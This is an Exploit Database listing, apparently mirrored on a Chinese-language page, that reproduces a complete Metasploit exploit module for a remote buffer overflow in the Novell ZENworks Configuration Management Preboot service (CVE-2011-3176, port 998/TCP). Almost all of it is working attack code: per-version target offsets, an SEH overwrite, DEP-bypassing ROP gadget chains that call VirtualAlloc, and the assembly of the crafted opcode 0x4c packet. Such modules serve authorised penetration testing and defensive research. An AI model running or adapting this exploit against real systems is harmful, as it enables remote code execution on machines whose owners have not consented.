Novell ZENworks Configuration Management Preboot Service – 0x4c Buffer Overflow (Metasploit)

• Exploit Database
• 11 阅读

• 作者： Metasploit
  日期： 2012-07-20
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/19959/

• ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # web site for more information on licensing and terms of use.
  # http://metasploit.com/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = NormalRanking
  
  	include Msf::Exploit::Remote::Tcp
  	include Msf::Exploit::Remote::Seh
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Novell ZENworks Configuration Management Preboot Service 0x4c Buffer Overflow',
  			'Description'=> %q{
  					This module exploits a remote buffer overflow in the ZENworks Configuration
  				Management. The vulnerability exists in the Preboot service and can be triggered
  				by sending a specially crafted packet with the opcode 0x4c
  				(PROXY_CMD_PREBOOT_TASK_INFO2) to port 998/TCP. The module has been successfully
  				tested on Novell ZENworks Configuration Management 10 SP2 / SP3 and Windows Server
  				2003 SP2 (DEP bypass).
  			},
  			'License'=> MSF_LICENSE,
  			'Author' =>
  				[
  					'Luigi Auriemma', # Vulnerability Discovery
  					'juan' # Metasploit module
  				],
  			'References' =>
  				[
  					[ 'CVE', '2011-3176' ],
  					[ 'OSVDB', '80231' ],
  					[ 'BID', '52659' ],
  					[ 'URL', 'http://www.verisigninc.com/en_US/products-and-services/network-intelligence-availability/idefense/public-vulnerability-reports/articles/index.xhtml?id=974' ],
  					[ 'URL', 'http://support.novell.com/docs/Readmes/InfoDocument/patchbuilder/readme_5127930.html' ]
  				],
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'process'
  				},
  			'Payload'=>
  				{
  					'BadChars' => "\x00",
  					'Space'=> 994,
  					'DisableNops' => true,
  					'PrependEncoder' => "\x81\xC4\x54\xF2\xFF\xFF" # add esp, -3500
  				},
  			'Platform' => ['win'],
  			'Targets'=>
  				[
  					[ 'Novell ZENworks Configuration Management 10 SP3 / Windows 2003 SP2',
  						{
  							'Offset'=> 1100,
  							'OffsetBottomStack' => 1148,
  							'OffsetRop' => 4,
  							'Ret' => 0x100012e9 # add esp, 1204 # ret from zenimgweb.dll
  						}
  					],
  					[ 'Novell ZENworks Configuration Management 10 SP2 / Windows 2003 SP2',
  						{
  							'Offset'=> 1100,
  							'OffsetBottomStack' => 1136,
  							'Ret' => 0x100012e9 # add esp, 0x41c # ret - zenimgweb.dll
  						}
  					]
  				],
  			'Privileged' => false,
  			'DisclosureDate' => 'Feb 22 2012',
  			'DefaultTarget'=> 0))
  
  		register_options([Opt::RPORT(998)], self.class)
  	end
  
  	def junk(n=4)
  		return rand_text_alpha(n).unpack("V").first
  	end
  
  	def nop
  		return make_nops(4).unpack("L")[0].to_i
  	end
  
  	# rop chain generated with mona.py
  	def create_rop_chain()
  
  
  		if target.name =~ /Novell ZENworks Configuration Management 10 SP3/
  			rop_gadgets =
  				[
  					0x100066b1, # POP EDX # MOV ESI,C4830005 # ADD AL,3B # RETN [zenimgweb.dll]
  					0x00001000, # 0x00001000-> edx
  					0x100239df, # POP ECX # RETN [zenimgweb.dll]
  					0x1007d158, # ptr to &VirtualAlloc() [IAT zenimgweb.dll]
  					0x10018653, # MOV EAX,DWORD PTR DS:[ECX] # ADD ESP,20 # RETN [zenimgweb.dll]
  					junk, # Filler (compensate)
  					junk, # Filler (compensate)
  					junk, # Filler (compensate)
  					junk, # Filler (compensate)
  					junk, # Filler (compensate)
  					junk, # Filler (compensate)
  					junk, # Filler (compensate)
  					junk, # Filler (compensate)
  					0x1002a38f, # PUSH EAX # POP ESI # RETN [zenimgweb.dll]
  					0x00423ddd, # POP EBP # RETN [novell-pbserv.exe]
  					0x10007b22, # & push esp #ret[zenimgweb.dll]
  					0x100235dc, # POP EBX # RETN [zenimgweb.dll]
  					0x00000001, # 0x00000001-> ebx
  					0x0041961a, # POP ECX # RETN [novell-pbserv.exe]
  					0x00000040, # 0x00000040-> ecx
  					0x1004702b, # POP EDI # RETN [zenimgweb.dll]
  					0x1001d001, # RETN (ROP NOP) [zenimgweb.dll]
  					0x10011217, # POP EAX # RETN [zenimgweb.dll]
  					nop,
  					0x10018ec8, # PUSHAD # RETN [zenimgweb.dll]
  				].pack("V*")
  		else # Novell ZENworks Configuration Management 10 SP2
  			rop_gadgets =
  				[
  					0x100065d1, # POP EDX # MOV ESI,C4830005 # ADD AL,3B # RETN [zenimgweb.dll]
  					0x00001000, # 0x00001000-> edx
  					0x10062113, # POP ECX # RETN [zenimgweb.dll]
  					0x1007d158, # ptr to &VirtualAlloc() [IAT zenimgweb.dll]
  					0x10018553, # MOV EAX,DWORD PTR DS:[ECX] # ADD ESP,20 # RETN [zenimgweb.dll]
  					junk, # Filler (compensate)
  					junk, # Filler (compensate)
  					junk, # Filler (compensate)
  					junk, # Filler (compensate)
  					junk, # Filler (compensate)
  					junk, # Filler (compensate)
  					junk, # Filler (compensate)
  					junk, # Filler (compensate)
  					0x10016818, # PUSH EAX # POP ESI # RETN [zenimgweb.dll]
  					0x1002fd05, # POP EBP # RETN [zenimgweb.dll]
  					0x10043053, # & push esp #ret[zenimgweb.dll]
  					0x1003cbf8, # POP EBX # RETN [zenimgweb.dll]
  					0x00000001, # 0x00000001-> ebx
  					0x00423eeb, # POP ECX # RETN [novell-pbserv.exe]
  					0x00000040, # 0x00000040-> ecx
  					0x1003173e, # POP EDI # RETN [zenimgweb.dll]
  					0x10020801, # RETN (ROP NOP) [zenimgweb.dll]
  					0x00406b58, # POP EAX # RETN [novell-pbserv.exe]
  					nop,
  					0x1006d1e6, # PUSHAD # RETN [zenimgweb.dll]
  				].pack("V*")
  		end
  
  		return rop_gadgets
  	end
  
  	def exploit
  		connect
  
  		buf = "A" * 4
  		buf2 = "B" * 4
  		buf3 = "C" * 4
  
  		buf4 = create_rop_chain
  		buf4 << payload.encoded
  		buf4 << "D" * (target['Offset'] - buf4.length)
  		buf4 << generate_seh_record(target.ret)
  		buf4 << "F" * (target['OffsetBottomStack'] - buf4.length)
  
  		my_buf = ""
  		buf4.unpack("C*").each {|b|
  			my_buf << [b].pack("C")
  			my_buf << rand_text(1)
  		}
  
  		packet =[0x4c].pack("N") # Opcode 0x4C
  		packet << [buf.length].pack("N") # Length
  		packet << buf # Value
  		packet << [buf2.length].pack("N") # Length
  		packet << buf2 # Value
  		packet << [buf3.length].pack("N") # Length
  		packet << buf3 # Value
  		packet << [my_buf.length].pack("N") # Length
  		packet << my_buf # Value
  
  		sock.put(packet)
  
  		disconnect
  	end
  end